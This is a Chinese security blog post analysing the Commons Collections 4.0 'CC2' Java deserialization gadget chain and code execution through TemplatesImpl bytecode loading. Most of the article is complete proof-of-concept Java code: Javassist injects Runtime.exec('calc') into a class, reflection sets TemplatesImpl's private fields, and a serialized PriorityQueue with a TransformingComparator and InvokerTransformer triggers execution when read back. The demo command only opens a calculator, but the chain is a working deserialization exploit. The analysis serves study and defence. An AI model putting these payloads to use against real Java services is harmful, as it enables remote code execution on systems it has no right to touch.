freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CC2反序列化链与TemplatesImpl命令执行链分析
2024-09-24 23:30:27

一 简介

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

不同于CC1的链条,CC2依赖于4.0版本的commons-collections,并且在最终命令执行方式上发生了很大的变化。

可以先看一下,这是CC1的反序列化链条,最终执行命令还是调用了InvokerTransformer.transform()

AnnotationInvocationHandler.readObject()-->
 AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
  TransformedMap.checkSetValue()-->
   ChainedTransformer.transform()-->
    InvokerTransformer.transform()
     Method.invoke("Runtime.exec","calc")

而对于CC2所利用的是TemplatesImpl的加载字节码方式,以下是这条链

PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
      TransformingComparator.compare()
         InvokerTransformer.transform()
            method.invoke()
               TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()

二 前置知识

1 JAVAssist

JAVAssist( JAVA Programming ASSISTant ) 是一个开源的分析 , 编辑 , 创建 Java字节码( Class )的类库 . 他允许开发者自由的在一个已经编译好的类中添加新的方法,或者是修改已有的方法。(在agent内存马加载时就使用此方式)

基础使用(需要添加到lib中)

1727143876_66f21fc461e2069b841d7.png!small?1727143876812

public class test {
        public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
                ClassPool pool = ClassPool.getDefault();//获取类搜索路径(从默认的JVM类搜索路径搜索)
                CtClass clazz = pool.get(test.class.getName());//将test类放入hashtable并返回CtClass对象
                String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
                clazz.makeClassInitializer().insertBefore(cmd);
                clazz.makeClassInitializer().insertAfter(cmd);

                String Name = "aaa";
                clazz.setName(Name);//设置类名
                clazz.writeFile("./a.class");//写入文件
        }
}

运行结果:

1727144601_66f222999822dcab13f44.png!small?1727144602052

2 加载字节码

java原本的加载字节码的方式有两个

  • ClassLoader类可以用来加载类文件,然后使用Class对象的newInstance()方法来创建实例并执行
  • URLClassLoader是ClassLoader的子类,它从指定的URL加载类文件
  • Instrumentation API: 如果需要在运行时修改字节码,可以使用Java代理和Instrumentation API

下面的代码使用这样的方式即可实例化被javassit修改后的test类并且执行其中的static块中的方法

public class test {
        public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException {
                ClassPool pool = ClassPool.getDefault();//获取类搜索路径(从默认的JVM类搜索路径搜索)
                CtClass clazz = pool.get(test.class.getName());//将test类放入hashtable并返回CtClass对象
                String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
                clazz.makeClassInitializer().insertBefore(cmd);
                clazz.makeClassInitializer().insertAfter(cmd);

                byte[] classBytes = clazz.toBytecode();
                new U(test.class.getClassLoader()).g(classBytes).newInstance();
        }
}

class U extends ClassLoader{
        U(ClassLoader c){//构造方法的ClassLoader类型参数
                super(c);
        }
        public Class g(byte []b){
                return super.defineClass(b,0,b.length);//加载字节码
        }
}

1727146398_66f2299e6750b952e4581.png!small?1727146398883

三 TemplatesImpl命令执行

上面的加载字节码方式达到命令执行的效果,现在可以看一下templatesimpl这个类,在这个类中,defineTransletClasses方法通过new TransletClassLoader创建了classloader实例,然后遍历循环加载了_bytecodes字节码,并且存到_class中。

1727147018_66f22c0abbb4c4d72129e.png!small?1727147019330

然后在下面的getTransletClasses实例化了_bytecodes中的class类,那么我们只有反射控制_bytecodes就可以达到代码执行的效果

1727147462_66f22dc6822c3f5f6e8f5.png!small?1727147463125

在defineTransletClasses时需要两个参数,一个是ObjectFactory.findClassLoader(),另一个_tfactory.getExternalExtensionsMap(),ObjectFactory不用管,应为findClassLoader会返回一个context对象,

而_tfactory默认为null,所以反射调用时需要new 一个TransformerFactoryImpl传递进去

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

1727153969_66f2473112f0178773e97.png!small?1727153969502

并且当调用getTransletInstance时_name不能为空,所以还需要传一个_name,下面还有个_transletIndex参数,这个参数默认是-1,显然这样是不行的

1727154079_66f2479faec6ccc925aa1.png!small?1727154080395

但是在defineTransletClasses遍历字节码时还有一步操作,当superClass.getName() 等于 ABSTRACT_TRANSLET 给 _transletIndex 赋值,就是我们加载字节码的类必须继承自 AbstractTranslet

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
     _transletIndex = i;
}

1727154513_66f249513dbf0644d0df4.png!small?1727154513743

1727154739_66f24a33975c9d1361a13.png!small

现在就可以完成一个基础的POC了

TestTemplatesImpl类:

public class TestTemplatesImpl extends AbstractTranslet {
        static {
                try {
                        Runtime.getRuntime().exec("calc");
                } catch (IOException e) {
                        e.printStackTrace();
                }
        }
        public TestTemplatesImpl() {
        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }
}

test类:

public class test {

        public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
                ClassPool pool = ClassPool.getDefault();
                CtClass clazz = pool.getCtClass("com.agent.TestTemplatesImpl");

                byte[] classBytes = clazz.toBytecode();

                TemplatesImpl templates = new TemplatesImpl();
                Class<? extends TemplatesImpl> templatesClass = templates.getClass();
                Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
                bytecodes.setAccessible(true);
                bytecodes.set(templates, new byte[][] {classBytes});

                Field name = TemplatesImpl.class.getDeclaredField("_name");
                name.setAccessible(true);
                name.set(templates, "Test");

                Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
                tfactory.setAccessible(true);
                tfactory.set(templates, new TransformerFactoryImpl());

                Method getTransletInstanceMethod = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
                getTransletInstanceMethod.setAccessible(true);
                getTransletInstanceMethod.invoke(templates);
        }

}

其实当然可以继续向下寻找其他更好的触发方法,并且通过javassist完成恶意类

这里可以参考TemplatesImpl利用链分析 - seizer-zyx - 博客园 (cnblogs.com)

并且最终POC:

public class test {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException { ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器 classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中 CtClass testCtClass = classPool.makeClass("TestCtClass"); // 创建CtClass对象 testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器 ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句 byte[] classBytes = testCtClass.toBytecode(); // 获取字节数据 TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {classBytes}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "Test"); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Method getOutputPropertiesMethod = TemplatesImpl.class.getDeclaredMethod("getOutputProperties"); getOutputPropertiesMethod.setAccessible(true); getOutputPropertiesMethod.invoke(templates); } }

1727155170_66f24be226e72aa95730a.png!small?1727155170856

还有一个小点,TestTemplatesImpl中的newTransformer中也调用了getTransletInstance,这在接下来的CC2反序列链中发挥作用。

1727190480_66f2d5d00709015de0444.png!small

四 CC2反序列链

回到CC2的分析

分析

首先导入依赖

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
</dependency>

这里在贴一下cc2的链条,其实后半部分就是我们上面的加载字节码方式进行的代码执行,而InvokerTransformer.transform()与CC1中相同,通过InvokerTransformer来实现类的调用。

PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
      TransformingComparator.compare()
         InvokerTransformer.transform()
            method.invoke()
               TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()

反序列的入口当然是readObject,现在看一下PriorityQueue的readObject执行了什么

1727185985_66f2c441c1dd9a7a0a429.png!small

这里将传入的ObjectInputStream流中的对象反序列出来并且存到queue数组中,之后调用了heapify()方法

for (int i = 0; i < size; i++)
queue[i] = s.readObject();

1727186359_66f2c5b7aa9a6364dd643.png!small

继续向下查看siftDown方法

1727186423_66f2c5f738fa49c78ec2e.png!small

而在siftDownUsingComparator中可以看到comoarator.compare方法,所以其实最终readObject调用到了compare方法,而comoarator是从构造方法进行赋值,可控,现在尝试寻址某个类的compare中可以调用到transform方法,最终进行命令执行

1727186466_66f2c622b002da9b7fe87.png!small

现在有两个链条(大佬的图)

1727186595_66f2c6a339adc40f13238.png!small

1727186607_66f2c6afef8df295e161a.png!small

想要的是命令执行或者代码执行,需要一个关键类需要将两条链进行连接

TransformingComparator,我们看一下这个类的compare

1727186788_66f2c764e1670dc524efe.png!small

这个方法调用了transform函数

  • PriorityQueue的readObject可以调用构造方法参数中的比较器参数的compare方法
  • TransformingComparator比较器可以利用compare方法以及其构造参数transformer调用任意对象的任意方法

这里的size必须大于0,我们通过add进行添加

1727187708_66f2cafcb55eab70f67db.png!small

POC1:

public class test1 {
        public static void main(String[] args) {
                ChainedTransformer chainedtransformer = new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
                });
                TransformingComparator transformingComparator = new TransformingComparator(chainedtransformer);
                PriorityQueue<Object> queue = new PriorityQueue<>(1, transformingComparator);
                queue.add(1);
                queue.add(chainedtransformer);
        }
}

调用链

1727188149_66f2ccb5bd5b434f16418.png!small

接下来通过引入TemplatesImpl来执行自己构造的类

POC2:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test3 {
        public static void main(String[] args) throws Exception {
                ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
                classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
                CtClass testCtClass = classPool.makeClass("test");   // 创建CtClass对象
                testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
                CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
                ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
                byte[] classBytes = testCtClass.toBytecode();    // 获取字节数据

                TemplatesImpl templates = new TemplatesImpl();
                Class<? extends TemplatesImpl> templatesClass = templates.getClass();
                Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
                bytecodes.setAccessible(true);
                bytecodes.set(templates, new byte[][] {classBytes});

                Field name = TemplatesImpl.class.getDeclaredField("_name");
                name.setAccessible(true);
                name.set(templates, "Test");

                Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
                tfactory.setAccessible(true);
                tfactory.set(templates, new TransformerFactoryImpl());

                InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);

                TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
                PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);

                setFieldValue(priorityQueue, "size", 2);

                Object[] objects = {templates, 2};
                setFieldValue(priorityQueue, "queue", objects);

                try{
                        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
                        outputStream.writeObject(priorityQueue);
                        outputStream.close();

                        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
                        inputStream.readObject();
                }catch(Exception e){
                        e.printStackTrace();
                }
        }
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
                final Field field = getField(obj.getClass(), fieldName);
                field.set(obj, value);
        }
        public static Field getField(final Class<?> clazz, final String fieldName) {
                Field field = null;
                try {
                        field = clazz.getDeclaredField(fieldName);
                        field.setAccessible(true);
                }
                catch (NoSuchFieldException ex) {
                        if (clazz.getSuperclass() != null)
                                field = getField(clazz.getSuperclass(), fieldName);
                }
                return field;
        }
}

五 问题点分析

1 quene其实是被transient 关键字修饰的,怎么还可以实现序列化

1727190925_66f2d78d413d998f20e2b.png!small?1727190924922

其实这里通过wirite方法把queue中的元素写入了序列化字符串中,从而实现的反序列化

1727191040_66f2d8006f63f57a62ab9.png!small?1727191040197

六 参考文章

ysoserial CommonsCollections2 详细分析-安全客 - 安全资讯平台 (anquanke.com)

Java反序列化-CommonsCollections2利用链分析 - seizer-zyx - 博客园 (cnblogs.com)


# 渗透测试 # 网络安全 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录